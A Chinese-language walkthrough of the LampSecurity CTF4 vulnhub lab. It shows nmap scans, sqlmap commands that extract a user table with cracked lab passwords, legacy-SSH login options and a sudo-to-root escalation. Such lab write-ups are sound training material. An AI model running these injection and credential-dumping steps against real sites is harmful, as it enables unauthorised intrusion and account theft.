目录
4.查看user_name 和user_pass字段里面的数据
开头:
学习的视频是哔哩哔哩红队笔记:
「红队笔记」靶机精讲:LampSecurityCTF4 - SQL注入原理,手动注入和SQLmap自动化注入一起呈现。_哔哩哔哩_bilibili
打靶时参考文章和本文借鉴文章:
红队打靶:LampSecurity:CTF4打靶思路详解(vulnhub)_lampsecurityctf4-CSDN博客
靶机下载链接见:
https://download.vulnhub.com/lampsecurity/ctf4.zip
1.主机发现和端口扫描:
主机发现:
Sudo nmap -sn 192.168.254.0/24
端口扫描:
sudo nmap -min-rate 10000 -p- 192.168.254.145
sudo nmap -sU -p22,25,80,631 192.168.254.145
sudo nmap --script=vuln -p22,25,80,631 192.168.254.145
开启了22 ,25,80,631 其中25端口和631端口我不太熟悉,上网查询一下:
25端口:是SMTP服务的端口,邮箱传输协议
631端口:是ipp协议,打印机协议
感觉作用不大
80端口泄露:
80端口脚本扫描泄露:
1.目录:
2.CSRF:利用复杂,需要管理员配合
3.doss:没有什么用
4.Sql注入:重点再这上面
2.优先级分析:
1.80,
2.22,
3.25,
4.631
3.80端口-sqlmap获取账号密码
打开是一个页面,因为有个搜索功能,输入‘测试是否存在sql注入
对页面有影响说明漏洞存在 id是注入点
python.exe sqlmap.py -u http://192.168.254.145/?title=Blog&page=blog&id=7
sqlmap直接梭哈
发现id是注入点
MYSql版本是大于5.0.12 的 可以利用information_schema
python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7" --is-dba
查看当前用户是否有管理员权限,
我们是管理员权限(那么我们现在有三种进攻方式,1:通过sql注入写入后门文件,访问后门。2.因为在nmap我们扫描到有admin页面,存在登录问题,所以我们可以通过sql注入获取用户密码登录后台再去getshell;3.直接利用sqlmap执行代码反弹shell)
先尝试方法2:
1.先列出所有数据库:
python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7" –dbs
--dbs : 列举出mysql中所有数据库
我看源码发现了ehks,所有我猜测ehks表是这个web对应的数据库
2.看ehks数据库对应的数据表:
python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7" --tables -D ehks
-- tables 枚举DBMS数据库中所有的表
-D db 指定进行枚举的数据库名称
发现ehks数据库下有有个user库
那我们接下来就是看这个user表中有什么字段
3.那我们接下来就是看这个user表中有什么字段
python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7*" --columns -T user -D ehks
--columns 枚举DBMS数据库表中所有的列
-T table 指定进行枚举的数据库表名称
有user_name 和user_pass字段
4.查看user_name 和user_pass字段里面的数据
python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7*" --dump -C user_name,user_pass -T user -D ehks
-C 字段1,字段2 column 指定进行枚举的数据库列名称
--dump 存储DBMS数据库的表中的条目
| dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
| achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
| jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
| sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) |
| ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
查出了enks数据库中user表中 user_name 和user_pass用户密码和账号
尝试用账号密码登录后台
登录成功,但是这个界面没什么大的变化啊,以下对web的探测都是无用功!!!不想看的就直接看22端口
查看了源码webmaster是有个邮箱
点击POSTblog,出现这个页面
感觉是写文章的title 和body(应该就是写博客的)
看看能不能写入shell(后来想想,是绝对不可能的,这种是拼接在前端的,最多是个XSS,绝对不能运行php代码)
写入的内容在这里显示了
尝试写入PHP反弹shell(可能不会执行php代码,但是总归要尝试嘛)
嗯。。。。难到是完整的< > 浏览器识别成标签了? (还是太天真,就是我太菜了)
尝试把shell隔别出来(因为这种文字大多数是拼接到html中的所有写上html标签也会拼接上去,这是xss的思路,但是XSS对于我们要拿到shell没有上面帮助)
欧克也不行,不能尝试了时间用的差不多了,感觉我们进了兔子洞了,即使我们拼接成功,有可能反弹不了,他是html文件
博客是将写入的内容存入数据库中,然后再取出来拼接到html页面中的,执行不了,只看看有没有其他的地方可以进攻了
4.22端口:远程登录&解决ssh登录问题
Web感觉没有什么内容了,尝试用刚刚获取的密码尝试登录ssh
ssh dstevens@192.168.200.143
报错了什么东西啊从来没有遇见过,没遇见过上网搜索
报错内容:
无法与 192.168.254.145 端口 22 协商:未找到匹配的密钥交换方法。他们的报价:diffie-hellman-grou│p-交换-SHA1,diffie-hellman-组14-sha1,diffie-hellman-group1-sh
看来是这靶机太过久远
解决办法:
构造最后命令:
sudo ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss dstevens@192.168.254.145
登录成功
5.提权:
sudo -l
两个ALL
sudo /bin/bash直接重新创建一个交互
提权成功了
拿到了root权限打靶完成
6.总结:
CTF4这个靶场很简单,也是因为是09年的靶场了,sqlmap这种工具也没有诞生。
思路:80端口->web->注入点->sqlmap获取账号密码->ssh登录
打这个靶场也暴露出来我很多的缺点:
1.在对web功能简单分析的过程中,老是被没有用的点浪费时间,对功能是否有利用点,分析的不到位,说到底还是自己的经验不足。
2.过于依赖工具。
红队笔记大佬还提到,进行渗透测试的过程中,我们不能单纯依赖nmap和sqlmap这种自动化工具,还是要了解漏洞的原理与代码的编写,使用工具表面上方便,但会有很多缺点。比如容易暴露流量特征、难以进行精确的操作、工具有可能被ban等。归根结底,工具只是在我们了解漏洞原理和代码的基础上,加快我们的渗透进程,而不是渗透测试的核心所在